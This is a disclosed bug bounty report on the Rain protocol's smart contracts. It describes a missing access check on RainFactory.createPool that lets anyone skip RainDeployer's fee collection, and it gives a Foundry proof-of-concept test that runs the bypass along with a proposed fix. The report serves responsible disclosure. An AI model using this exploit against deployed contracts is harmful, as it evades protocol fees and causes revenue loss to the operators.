Rain Disclosed Report

Direct Factory Access Bypasses All Fee Collection

Company
Created date
hidden

Target

https://github.com/hackenproof-public/rain-contracts

Vulnerability Details

  • The RainFactory contract lacks access control on its createPool function, allowing users to bypass the RainDeployer entirely and create pools without paying required fees. This enables attackers to create fully functional private pools while avoiding oracle fees, platform fees, and all other protocol charges, directly impacting protocol revenue.

  • The Rain protocol implements a two-layer pool creation system where users should interact with RainDeployer, which then calls RainFactory internally. However, RainFactory's createPool function has no access restrictions:

RainFactory.sol (https://github.com/hackenproof-public/rain-contracts/blob/main/src/RainFactory.sol#L17-L20)

function createPool(IRainPool.Params memory poolParams) external returns (address) {
    RainPool instance = new RainPool(poolParams);
    return address(instance);
}

This allows direct calls that bypass RainDeployer's fee collection mechanism entirely. When users create pools through the intended RainDeployer path, they pay:

RainDeployer.sol (https://github.com/hackenproof-public/rain-contracts/blob/main/src/RainDeployer.sol#L169-L173)

IERC20(baseToken).safeTransferFrom(
    msg.sender,
    poolInstance,
    oracleFixedFee  // Currently 1 ETH
);

Additionally, RainDeployer enforces protocol-defined fee structures in the pool parameters. However, direct factory access allows complete parameter manipulation, including setting all fees to zero.

The only limitation for directly-created pools is oracle creation, which requires registration in the createdPools mapping:

RainDeployer.sol (https://github.com/hackenproof-public/rain-contracts/blob/main/src/RainDeployer.sol#L203-L205)

if (createdPools[msg.sender] != true) {
    _revert(IRainDeployer.OnlyCreatedPool.selector);
}

Since private pools don't require oracles for basic functionality, this limitation doesn't prevent the core exploit.


  • This issue enables complete circumvention of the protocol's fee structure, causing direct revenue loss to the platform. Attackers can create unlimited pools with zero fees while legitimate users pay full charges, creating unfair market conditions. For each pool created, attackers save approximately 1 ETH in oracle fees plus any platform, liquidity, and creator fees they set to zero. This fundamentally breaks the protocol's business model and allows malicious actors to offer competing zero-fee pools, undermining the entire economic foundation of the platform.

Validation steps

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Mock } from "../src/mocks/ERC20Mock.sol";
import { OracleMock } from "../src/mocks/OracleMock.sol";
import { RainFactory } from "../src/RainFactory.sol";
import { RainDeployer, IRainDeployer } from "../src/RainDeployer.sol";
import { RainPool, IRainPool } from "../src/RainPool.sol";

contract DirectFactoryBypassTest is Test {
    
    event ExploitResult(string description, uint256 savedAmount, bool success);
    event PoolCreated(string method, address pool, uint256 totalCost);
    
    RainFactory rainFactory;
    RainDeployer rainDeployer;
    ERC20Mock baseToken;
    
    address attacker = makeAddr("attacker");
    address legitimateUser = makeAddr("legitimateUser");
    address poolOwner = makeAddr("poolOwner");
    address resolverAI = makeAddr("resolverAI");
    
    uint256 oracleFixedFee = 1 ether;
    uint256 initialLiquidity = 10 ether;
    uint256[] liquidityPercentages = [50, 50];
    
    function setUp() public {
        baseToken = new ERC20Mock("Base Token", "BTK", 1000000 ether);
        
        OracleMock oracleFactory = new OracleMock(address(baseToken));
        rainFactory = new RainFactory();
        
        RainDeployer rainDeployerImplementation = new RainDeployer();
        
        bytes memory initData = abi.encodeWithSelector(
            RainDeployer.initialize.selector,
            address(rainFactory),
            address(oracleFactory),
            address(baseToken),
            poolOwner,
            resolverAI,
            makeAddr("rainToken"),
            makeAddr("swapRouter"),
            6, // baseTokenDecimals
            12, // liquidityFee
            25, // platformFee
            oracleFixedFee,
            12, // creatorFee
            1 // resultResolverFee
        );
        
        ERC1967Proxy proxy = new ERC1967Proxy(address(rainDeployerImplementation), initData);
        rainDeployer = RainDeployer(address(proxy));
        
        baseToken.transfer(attacker, 1000 ether);
        baseToken.transfer(legitimateUser, 1000 ether);
    }
    
    function testDirectFactoryBypass() public {
        // First Step: Legitimate pool creation through RainDeployer
        vm.startPrank(legitimateUser);
        
        IRainDeployer.Params memory legitimateParams = IRainDeployer.Params({
            isPublic: false,
            resolverIsAI: false,
            poolOwner: legitimateUser,
            startTime: block.timestamp + 1 seconds,
            endTime: block.timestamp + 7 days,
            numberOfOptions: 2,
            oracleEndTime: block.timestamp + 8 days,
            ipfsUri: "ipfs://legitimate",
            initialLiquidity: initialLiquidity,
            liquidityPercentages: liquidityPercentages,
            poolResolver: legitimateUser
        });
        
        uint256 legitimateTotalCost = initialLiquidity + oracleFixedFee;
        baseToken.approve(address(rainDeployer), legitimateTotalCost);
        
        uint256 balanceBefore = baseToken.balanceOf(legitimateUser);
        address legitimatePool = rainDeployer.createPool(legitimateParams);
        uint256 legitimateCost = balanceBefore - baseToken.balanceOf(legitimateUser);
        
        emit PoolCreated("Legitimate RainDeployer", legitimatePool, legitimateCost);
        
        // Verify pool is registered
        assertTrue(rainDeployer.createdPools(legitimatePool));
        
        vm.stopPrank();
        
        // Second Step: Malicious direct factory access
        vm.startPrank(attacker);
        
        IRainPool.Params memory maliciousParams = IRainPool.Params({
            initialLiquidity: initialLiquidity,
            liquidityPercentages: liquidityPercentages,
            isPublic: false,
            resolverIsAI: false,
            deployerContract: address(rainDeployer),
            baseToken: address(baseToken),
            baseTokenDecimals: 6,
            poolOwner: attacker,
            platformAddress: attacker,
            resolver: attacker,
            rainToken: makeAddr("rainToken"),
            swapRouter: makeAddr("swapRouter"),
            startTime: block.timestamp + 1 seconds,
            endTime: block.timestamp + 7 days,
            numberOfOptions: 2,
            platformFee: 0, // Zero fees
            liquidityFee: 0,
            creatorFee: 0,
            resultResolverFee: 0,
            oracleFixedFee: 1, // Minimal oracle fee
            oracleEndTime: block.timestamp + 8 days,
            ipfsUri: "ipfs://malicious"
        });
        
        uint256 attackerBalanceBefore = baseToken.balanceOf(attacker);
        
        // Direct factory call bypassing RainDeployer
        address maliciousPool = rainFactory.createPool(maliciousParams);
        baseToken.transfer(maliciousPool, initialLiquidity);
        
        uint256 maliciousCost = attackerBalanceBefore - baseToken.balanceOf(attacker);
        
        emit PoolCreated("Malicious Direct Factory", maliciousPool, maliciousCost);
        
        // Verify pool is NOT registered in deployer
        assertFalse(rainDeployer.createdPools(maliciousPool));
        
        vm.stopPrank();
        
        // Third Step: Verify exploit success
        uint256 savedAmount = legitimateCost - maliciousCost;
        
        emit ExploitResult("Fee bypass confirmed", savedAmount, savedAmount > 0);
        
        // Critical assertions
        assertTrue(savedAmount > 0, "Attacker should save money");
        assertApproxEqAbs(savedAmount, oracleFixedFee, 1, "Saved amount equals oracle fee");
        
        // Fourth Step: Verify oracle creation is blocked for malicious pool
        vm.startPrank(attacker);
        vm.expectRevert();
        rainDeployer.createOracle(5, 1000, 1, attacker, block.timestamp + 1 days, 2, "test");
        vm.stopPrank();
        
        emit ExploitResult("Oracle creation properly blocked", 0, true);
        
        // Final verification
        console.log("Legitimate pool cost:", legitimateCost);
        console.log("Malicious pool cost:", maliciousCost);
        console.log("Amount saved:", savedAmount);
    }
}
  • Legitimate pool costs 11 ETH (10 ETH liquidity + 1 ETH oracle fee)
  • Malicious pool costs 10 ETH (10 ETH liquidity only)
  • Attacker saves 1 ETH per pool creation
  • Malicious pool is functional but not registered in deployer

  • Add access control to RainFactory to ensure only RainDeployer can create pools:
contract RainFactory {
    address public immutable deployer;
    
    constructor(address _deployer) {
        deployer = _deployer;
    }
    
    function createPool(IRainPool.Params memory poolParams) external returns (address) {
        require(msg.sender == deployer, "Only deployer can create pools");
        RainPool instance = new RainPool(poolParams);
        return address(instance);
    }
}

This ensures all pool creation goes through the proper fee collection mechanism while maintaining the existing architecture.

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
State
hidden
Severity
High
Bounty$15
Visibilitypartially
VulnerabilityBusiness Logic Errors
Participants
hidden